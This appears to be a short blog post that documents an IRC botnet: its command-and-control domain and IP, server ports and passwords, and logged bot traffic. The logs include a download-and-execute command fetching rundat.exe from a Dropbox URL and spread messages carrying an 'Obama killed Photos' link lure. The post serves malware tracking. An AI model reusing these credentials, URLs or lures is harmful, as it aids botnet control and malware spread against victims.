i.nerashti.net(irc botnet hosted in India Delhi Mtnl Cat B Isp)

Resolved : [i.nerashti.net] To [59.180.210.189]

Remote Host Port Number
107.20.135.4 80
107.20.138.135 80
199.15.234.7 80
59.180.210.189 4244 PASS 666666
80.2.60.232 6667 PASS 666666

PRIVMSG #buli# :[d=”http://dl.dropbox.com/u/66711623/v/e/rundat.exe” s=”92160 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0
NICK n{US|XPa}eechxgg
USER eechxgg 0 0 :eechxgg
JOIN #BuLi# redem
PRIVMSG #buli# :[MSN]: Updated MSN spread interval to “4”
PRIVMSG #buli# :[MSN]: Updated MSN spread message to “Obama killed Photos http://kenangrafik.com/viewimages.php?=www.facebook.com”
PRIVMSG #buli# :[HTTP]: Updated HTTP spread interval to “3”
PRIVMSG #buli# :[HTTP]: Updated HTTP spread message to “Obama killed Photos http://kenangrafik.com/viewimages.php?=www.facebook.com |”
NICK {NEW}[USA][XP]705470
USER 9458 “” “lol” :9458
PONG :AB40B197
JOIN #sw#
PRIVMSG #sw# :Executed process successfully.

hosting infos:
http://whois.domaintools.com/59.180.210.189

Categories: Uncategorized